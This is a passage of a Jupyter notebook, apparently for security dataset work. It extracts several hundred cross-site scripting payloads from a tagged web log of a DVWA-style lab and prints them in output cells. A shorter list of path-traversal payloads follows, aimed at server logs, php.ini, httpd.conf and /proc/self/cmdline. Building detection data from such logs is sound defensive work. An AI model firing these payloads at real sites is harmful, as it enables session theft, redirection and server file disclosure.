      "<!--[if gte IE 4]>ec593069b043cae6cd2a931224d21b30<![endif]-->\n",
      "<BASE HREF=\"6ea9ebd52c38f7dd68d3c8a13e7fe599//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=3eda036d61fe6ce9a91b36accb4c3652></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"22c21618a6a3cbf3f3f290ba874ad0c1\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>ad188169ceb780edb18d32a3a4317b0a</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;95410f170f946c5f06bd5d6476efde87&lt;/SCRIPT&gt;\">\n",
      "<IMG SRC=\"&14;javascript:699ac12531c4b818846b8aea35f678a0\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:e6f3ee99798e00caba6929f8de468cfd\">\n",
      "<SCRIPT SRC=http://127.0.0.1>da217e001b4f731c013d067d67fb0d41</SCRIPT>\n",
      "--- <IMG SRC=\" &#14;  da8790b54e7f95e0a12f4c587faa1394\">\n",
      "<SCRIPT>a=/935421a7d554e0a000c97648e0f0ee3a/alert(a.source)</SCRIPT>\n",
      "--- <IMG SRC=\"444f97ea4bebd89e685e34eda801245d\"\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=0039d37e16e226bdb2dac7dbcaf754ad\">\n",
      "--- \";b1fd6e215c045002b7280a6d4c009082;//\n",
      "<SCRIPT <B>=5fd5e6ffbf9feb2473c1aa4322e63cbf\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:c4126d8f7d6115d24cd157c73ffce26e <\n",
      "<SCRIPT>a=/15b7575d59712488df13a06a8487ecc3/n15b7575d59712488df13a06a8487ecc3</SCRIPT>\n",
      "<LAYER SRC=\"javascript:8957c5adf20a80a9351e5c6580813eea></LAYER>\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:43c06034b76201b7c006d271e4dcdf7a\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-f140d92e8ee984f10cbfea287c66adf9+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#26f273053270bd382820e9cd8f668294\">\n",
      "<input type=\"image\" dynsrc=\"5396170b33843a6e553525bb69ec1cd7\">\n",
      "<STYLE>li {list-style-image: url(\"a040eed0a99dd2eda0e1a808a541c139</STYLE><UL><LI>a040eed0a99dd2eda0e1a808a541c139\n",
      "&56681167c12ddcf3c269035aa15d6dd0\">\n",
      "<IMG SRC=&{4b914bb0fb135dd15ebfe94543d2b216};>\n",
      "&{599179d60574aab74aae1ca0f1f396d4};\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:3f78ee75887a7386d82756f3d6744a69\">\n",
      "<DIV STYLE=\"binding: url(javascript:5c0bc326da25225032c10d7c19770fc3);\">\n",
      "<a href=\"about:08e4b9dda14ed67e430733e2833bbe5b\">\n",
      "<style><!--</style><SCRIPT>2ad40bd027dfef0042b7b3d46feace1f//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>123190aca3dff9250c21e47afd0065e1//--></SCRIPT>\n",
      "<!-- -- -->89296c1dac551367f6607d39b951ee06<!-- -- -->\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#992cebf37102d0e1800d73ce769080a8\"></div>\n",
      "<xml id=\"X\"><a><b>317b74a803467b2f3d11a84e4dc31f90;<b></a></xml>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:573175db695e8dcb1aade31086b37705\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:70d9e447212c253718cf6b6bdfe81f89\">X\n",
      "<input onfocus=javascript:cadc0ba6a773d737093ad2a42359696e autofocus>\n",
      "<select onfocus=javascript:99b94128e814c4caf4532354bcaccb3c autofocus>\n",
      "<textarea onfocus=javascript:115d280fe87da573e728043c8cb4703f autofocus>\n",
      "<input onblur=javascript:920a9de0b9c0260ea1c26ccf358828fb autofocus><input autofocus>\n",
      "X<form id=test onforminput=javascript:6afd3dcc7cb0d4ea44c6d0c0a228cb45><input></form>\n",
      "<video><source onerror=\"javascript:a79e58ef1dfefff6c7149d48702911a8\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:66515e85aca0c716a2243621859a31d4>X\n",
      "<video poster=javascript:e9d6bebe9259d77df3ccb6c956119353//\n",
      "<keygen onfocus=javascript:b7896f4709cacdddcf3e4a1355718e30 autofocus>\n",
      "<video onerror=\"javascript:8fb783f28340f39e7a94326f6e1f1b5a\"><source>\n",
      "<body onscroll=c943bd1ab3f9edd7b19f2865596941b1><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/bd352ba3686eef98724c35101f231cfe]\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/5e71feb8cffa80808c6ee22ee7fe7342\">\n",
      "<IMG SRC='http://localhost:19084/success/48d75fdff392313d2c444e51edc39fe2'\n",
      "<IMG SRC=`http://localhost:19084/success/b338f5173c481e8fec3469ecacf1a690`>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=\"http://localhost:19084/success/4735b93ac7fdb59b2cf371eca03a5818\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/0a1e83b81b17105f3b9c4364d67bbbac\")}</STYLE>\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/17ce0854d865e9c7009a2ef9efeacc09\"></FRAMESET>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/88f1c3910a8370eb17d3d57a96af0925\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/3c657fdf73a9d82e4ffa81b7633c86e4\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/fdac24aa9d3e903159748dd06856db15\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/60e342ade771251a29e4687cffba38d5\">\n",
      "<IMG SRC=http://localhost:19084/success/bd79ff4652b9a51e833890a939e72409>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/7606ea8a555ababf13ec0f495cd5177b\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/518af90dd0e76f1214c9d3cd143dc827'>\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/8d23865096a5a09c84c02b7833c96d01\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/353e78ca669ebdce642511cda10a4f99\"></IFRAME>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/9e29ddc13c8b0f2a0d1ec9d1b13c0b81\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/d2af4dc2f94e36f31639c265e25a0b1e\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/fc5e00b15f4b7e2d7c40dce75feee803\">\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/602aee66f690e085577e322c4a6751ce\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/627c0a7b1d43ca0a863b9e4a78860f47]\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/683275100420e8efdd5ea4474e92616e\");}</STYLE><A CLASS=XSS></A>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/444f97ea4bebd89e685e34eda801245d\"\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/22c21618a6a3cbf3f3f290ba874ad0c1\")\";eval(a+b+c+d);\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/5396170b33843a6e553525bb69ec1cd7\">\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<IMG SRC=&{http://localhost:19084/success/4b914bb0fb135dd15ebfe94543d2b216};>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/573175db695e8dcb1aade31086b37705\">]]</C><X></xml>\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "\">9b3b213de5bcdb30b54d781bd94b4dba\n",
      "'';!--\"<3ce40f0e6cfb54ea2cd42bbf49ee73dc>=&{()}\"\n",
      "\"><img src=\"x:x\" onerror=\"e0652cc215a656a19812f7efcfec7e52\">\n",
      "\"><SCRIPT>alert('c957c7d5a57481ea1d7c7cfd3e766c3c')</SCRIPT>\n",
      "</TITLE>88d10f5e340ce7629b0120c1997d3d74\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=20f14443311475bf9cb10aac126037fe>\n",
      "'';!--\"<b2d3fc12b1abc28c6a5a6cff982ced7f>=&{()}\"\n",
      "<IMG SRC=\"8105f5840283fe0c1a6b67f6de3dcdd7\">\n",
      "<IMG SRC=d9d9144c142e64c93720d6a8136a0526>\n",
      "<IMG SRC=`ee86082d7dd2d28acba1157802e05c81`>\n",
      "<IMG \"\"\">8cc2cdaacbb796d38add3d48a5bf3720\">\n",
      "<IMG SRC=\" &#14;  188ca9805cd1ea8d4d63b64f3373ce3c\">\n",
      "<DIV STYLE=\"behaviour: url(aa827f4d5819cea39293a2eddc524e0c);\">\n",
      "<<SCRIPT>36845657caebe1369ee5f283c9226b65//<</SCRIPT>\n",
      "\";01dacfdd82cc917bb7856e8b55c1676c//\n",
      "<IMG SRC='dfc0db7eec50234e1dc283eec5086701'\n",
      "<BODY BACKGROUND=\"2ee45a5a6f8c16b5c6eca9ee20f80509\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"a6b39cbb9ebb40e77424574aab34cb41\">\n",
      "<BODY ONLOAD=2312b7e02c7d4e2af0fc801b280e9149>\n",
      "<IMG LOWSRC=\"63cf00d0f79b316e1c9372db6ffbdfd8\">\n",
      "<IMG DYNSRC=\"a86385cb5d2f04ccdd78f6de9836ec39\">\n",
      "<BGSOUND SRC=\"eeeafb1b367af0edfbf772878c5315b9\">\n",
      "<BR SIZE=\"&{53a453689f8f21de5cee1d0910102925}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"a41d2e3b8d0cd0a501ac5cb8a3b8f121\">\n",
      "<IMG SRC='vbscript:cadb9c9b3737a68f9fe53b0d968503b7'>\n",
      "<IMG SRC=\"mocha:[0e69611f50de4f5218f9521bf62883cd]\">\n",
      "<IMG SRC=\"livescript:[3199583f18c80028289f2acf9632368a]\">\n",
      "<TABLE BACKGROUND=\"1cb461d3ede54bcde52d373868fb96fd\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=a7078f7473d0115e07870a99e808cf00\">\n",
      "<TABLE BACKGROUND=javascript:c551272a0b346f80b6de9f5de74d26ce>\n",
      "<TABLE><TD BACKGROUND=\"df432dd1dd196428423eee36d650358c\">\n",
      "<DIV STYLE=\"background-image: url(df0048d3e76553523c3e688a444d0536);\">\n",
      "<DIV STYLE=\"width: expression(288c0d12ae9ed52dce7e85566194b34c);\">\n",
      "<IFRAME SRC=\"957c0f3a515196828bfaf56b307ce2f9\"></IFRAME>\n",
      "<iframe/ /onload=0218f5cae7d3750e55118224b2c5ba97></iframe>\n",
      "<iframe/ \"onload=2b9b4a0894f95f25e42ac6237636662d></iframe>\n",
      "<iframe///////onload=4debd31a72fa672fecb4080d2f5c0746></iframe>\n",
      "<iframe \"onload=ed02ecad01df54721868b9021271a77b></iframe>\n",
      "<iframe/ \"onload=7e163af210aab50a3d6deb7f155f90f3></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=ab60436c8464711b838923211cee3bf9></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=050155a19ca13a5b5d9e9372ec02bffa></iframe>\n",
      "<FRAMESET><FRAME SRC=\"d93d3792484cba83e2e6e56c470b24c4\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"5f1ddd94ee0eea6876b442a9a281e281\">\n",
      "<TABLE><TD BACKGROUND=\"06b8419f510f95a92665406cfd023b1b\">\n",
      "<DIV STYLE=\"background-image: url(&#1;3c86b1c6101a57b066c0798672f025ad)\">\n",
      "<DIV STYLE=\"width: expression(2882a95085e4bb0707419468da79124a);\">\n",
      "<IMG STYLE=\"xss:expr/*add46dbabc43cc9c5195b91564351eee*/ession(add46dbabc43cc9c5195b91564351eee)\">\n",
      "<43d4e149db57df9cf5a0d1904b90b7ef STYLE=\"xss:expression(43d4e149db57df9cf5a0d1904b90b7ef)\">\n",
      "<STYLE TYPE=\"text/javascript\">ed6dca285844f052cfe811b0eed7ba6e</STYLE>\n",
      "<STYLE>.84c6a60ab7175c6851db12d9072d165a{background-image:url(\"84c6a60ab7175c6851db12d9072d165a\");}</STYLE><A CLASS=84c6a60ab7175c6851db12d9072d165a></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"256cf22f7b48a0fc3279c8f1f46c2dfc\")}</STYLE>\n",
      "<!--[if gte IE 4]>cdd1a1b25304f477b5cdc4402b1532c0<![endif]-->\n",
      "<BASE HREF=\"7147ed08e0cdabac1518ff3194a17d49//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=0659581def64cbcab5943eb74f2782a9></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"b227c2c736d57ebc41b79216416e62a9\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;848cb32beed13b3a61e05a2f73e61e72&lt;/SCRIPT&gt;\">\n",
      "<? echo('<SCR)';echo('IPT>b1096ec119d929e39973c592baec85c6</SCRIPT>'); ?>\n",
      "<SCRIPT SRC=http://127.0.0.1>bd444d01c7807e6821eee8bedaf80a07</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:d725efe8f6878056ca1bb12d86f00f9c\">\n",
      "--- <IMG SRC=\"e39f2e7112974cb8b2e61c1d3338e0e2\"\n",
      "<IMG SRC=\"jav&#x0D;ascript:74d062cebfaf6972bc6173b1e1ae15f2\">\n",
      "--- <IMG SRC=\" &#14;  40e9b29765875f49c1d70f91a3c651d7\">\n",
      "<SCRIPT>a=/f98a130c6169208da138090c313636c6/alert(a.source)</SCRIPT>\n",
      "--- \";f52e716bdbe7e78d761daeaf17eac807;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=ddc5189b0def44e5c3b8ad6723d36ade\">\n",
      "<SCRIPT <B>=12fb41188934360224b2ba368e4dbc0c\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:72320adb343ff1a0db1dcf4e32f7e40f <\n",
      "<SCRIPT>a=/237d891ea857a02410108e6876967ef6/n237d891ea857a02410108e6876967ef6</SCRIPT>\n",
      "<LAYER SRC=\"javascript:742dc43a613342dfab427700b3e877fc></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"b5f3fb12daf4b23d978d66b7c0c63139</STYLE><UL><LI>b5f3fb12daf4b23d978d66b7c0c63139\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:055857ed0095ba7d251195a13089dbae\">\n",
      "<a href=\"javascript#e883dd3800e9997fc4e38a2b2b33b249\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-4844dbe9ceaf3f328b33d0943e3c3f05+ADw-/SCRIPT+AD4-\n",
      "<IMG SRC=&{0a914ae971b12ea88aa3c03fce28aebd};>\n",
      "<a href=\"about:d49e06ed4260032a481f48db2a81c078\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:a3d46b2fa82d135c9c64270a38383369\">\n",
      "<input type=\"image\" dynsrc=\"66f38a05591ffaf2853f14ed6a2a90fe\">\n",
      "&{3b4ae33f3394c9d52a1b9bdb56fc99e2};\n",
      "&e7d973567b00e99f5bbd1309b4213fcf\">\n",
      "<style><!--</style><SCRIPT>3fe8763860cca77461cecd4cc2bfe134//--></SCRIPT>\n",
      "<DIV STYLE=\"binding: url(javascript:aa08cd9bcf7c8284516d8f0ea1f2f942);\">\n",
      "![CDATA[<!--]]<SCRIPT>632e39c1144b849482cc773f87c74aa9//--></SCRIPT>\n",
      "<!-- -- -->54af24703b56fd9ba1a69a635c436163<!-- -- -->\n",
      "<xml id=\"X\"><a><b>c862ab98ae4342c4556c71a23ab240b2;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#b812a921df59746a16dca0b9e771c41f\"></div>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:31816fb329a7c7c51da7b60726550687\">X\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:0e0ec959f6aa8bd147e3e9ef1a50daf2\">]]</C><X></xml>\n",
      "<input onfocus=javascript:c219523548c27f88ac5324a2f4f3468f autofocus>\n",
      "<select onfocus=javascript:a01f92d74e92dacde9c7d49007f4fbb4 autofocus>\n",
      "<textarea onfocus=javascript:e528bc6019fabd58f071e15e8306c460 autofocus>\n",
      "<keygen onfocus=javascript:a925b359be4060f6fa7d74c800889189 autofocus>\n",
      "<input onblur=javascript:5a40b5138fa377a6bc8ab972a7a7e545 autofocus><input autofocus>\n",
      "<video><source onerror=\"javascript:c1d36e9293c4ed8552375c807cba4022\">\n",
      "<video poster=javascript:61bb276b0cede82f278b795cf8522dc4//\n",
      "<body onscroll=81d9fdcdde88d8b2e672bdaa1b955d9e><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:d0ddeb5acabe5d191aba042ef5e930b9>X\n",
      "X<form id=test onforminput=javascript:d4c366c3a2960659578a75a67b1f0008><input></form>\n",
      "<video onerror=\"javascript:5f991373da5e2f6bcdfa7c373e141362\"><source>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=`http://localhost:19084/success/ee86082d7dd2d28acba1157802e05c81`>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/e0652cc215a656a19812f7efcfec7e52\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/a86385cb5d2f04ccdd78f6de9836ec39\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<IMG SRC=http://localhost:19084/success/d9d9144c142e64c93720d6a8136a0526>\n",
      "<IMG SRC=\"http://localhost:19084/success/8105f5840283fe0c1a6b67f6de3dcdd7\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/cadb9c9b3737a68f9fe53b0d968503b7'>\n",
      "<IMG SRC='http://localhost:19084/success/dfc0db7eec50234e1dc283eec5086701'\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/0e69611f50de4f5218f9521bf62883cd]\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/63cf00d0f79b316e1c9372db6ffbdfd8\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/2ee45a5a6f8c16b5c6eca9ee20f80509\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/a6b39cbb9ebb40e77424574aab34cb41\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/a41d2e3b8d0cd0a501ac5cb8a3b8f121\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/eeeafb1b367af0edfbf772878c5315b9\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/1cb461d3ede54bcde52d373868fb96fd\">\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/3199583f18c80028289f2acf9632368a]\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/957c0f3a515196828bfaf56b307ce2f9\"></IFRAME>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/df432dd1dd196428423eee36d650358c\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/5f1ddd94ee0eea6876b442a9a281e281\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/06b8419f510f95a92665406cfd023b1b\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/b227c2c736d57ebc41b79216416e62a9\")\";eval(a+b+c+d);\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/d93d3792484cba83e2e6e56c470b24c4\"></FRAMESET>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/84c6a60ab7175c6851db12d9072d165a\");}</STYLE><A CLASS=XSS></A>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/256cf22f7b48a0fc3279c8f1f46c2dfc\")}</STYLE>\n",
      "8323\n"
     ]
    }
   ],
   "source": [
    "xssInput = open(\"./xssInput.txt\", 'w+')\n",
    "i = 0\n",
    "with open(\"./log_5.21_tagged.txt\", 'r') as logfile:\n",
    "    for line in logfile:\n",
    "        if i < 10000:\n",
    "            line=line.split(' ')\n",
    "            if line[0]=='[xss]':\n",
    "                i = i + 1\n",
    "                #res = line[7].find('/vulnerabilities/sqli/?id=')\n",
    "                #if res == -1:\n",
    "                    #print(line[7])\n",
    "                #print(unquote((line[7])))\n",
    "                inputLine = unquote((line[7])).lstrip('/vulnerabilities/xss_r/?name=')\n",
    "                if len(inputLine) > 0:\n",
    "                    xssInput.write(inputLine + '\\n')\n",
    "                    print(inputLine)\n",
    "        else:\n",
    "            break\n",
    "print(i)\n",
    "logfile.close()\n",
    "xssInput.close()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 75,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "../../../../../../../../../../../../../apache/logs/access.log\u0000\n",
      "../../../../../../../../../../../../../../../../../var/log/httpd/error.log\n",
      "../../../../../../../../../../../../../var/adm/log/xferlog\n",
      "opt/xampp/logs/error_log\n",
      "../../../Program Files/Apache Group/Apache/logs/access.log\u0000\n",
      "../../../../../../../etc/php5/apache2/php.ini\u0000\n",
      "og/xferlog\n",
      "../../../../../../../../../../usr/local/apache2/conf/httpd.conf\u0000\n",
      "../usr/local/apache2/logs/error_log\u0000\n",
      "../../../../../etc/logrotate.d/proftpd\n",
      "../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf\u0000\n",
      "../../../../../../../../../../../../../proc/self/cmdline\u0000\n",
      "../etc/mysql/my.cnf\u0000\n",
      "../../../../../../../../../../../../../../../../../opt/lampp/logs/access.log\n",
      "../../../../../../../../../../../../apache2/logs/access.log\u0000\n",
      "../../../../../../../../../../../../etc/httpd/logs/acces.log\u0000\n",
      "../../../../../usr/local/pureftpd/etc/pure-ftpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../../../var/log/proftpd\n",
      "../../etc/php/apache/php.ini\u0000\n",
      "../../../../../../../../../../../../../../../../etc/pureftpd.pdb\u0000\n",
      "../../../../../../../../../../../../../etc/apache/conf/httpd.conf\n",
      "c/wu-ftpd/ftphosts\u0000\n",
      "../../../../../../../../../../../../usr/apache/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../var/log/vsftpd.log\n",
      "../../../../../../../../var/log/mysqlderror.log\u0000\n",
